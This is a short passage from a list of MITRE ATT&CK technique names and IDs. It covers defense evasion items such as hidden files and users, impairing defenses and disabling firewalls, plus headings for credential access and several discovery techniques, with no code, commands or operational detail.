Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

Remote System Discovery

T1018

System Information Discovery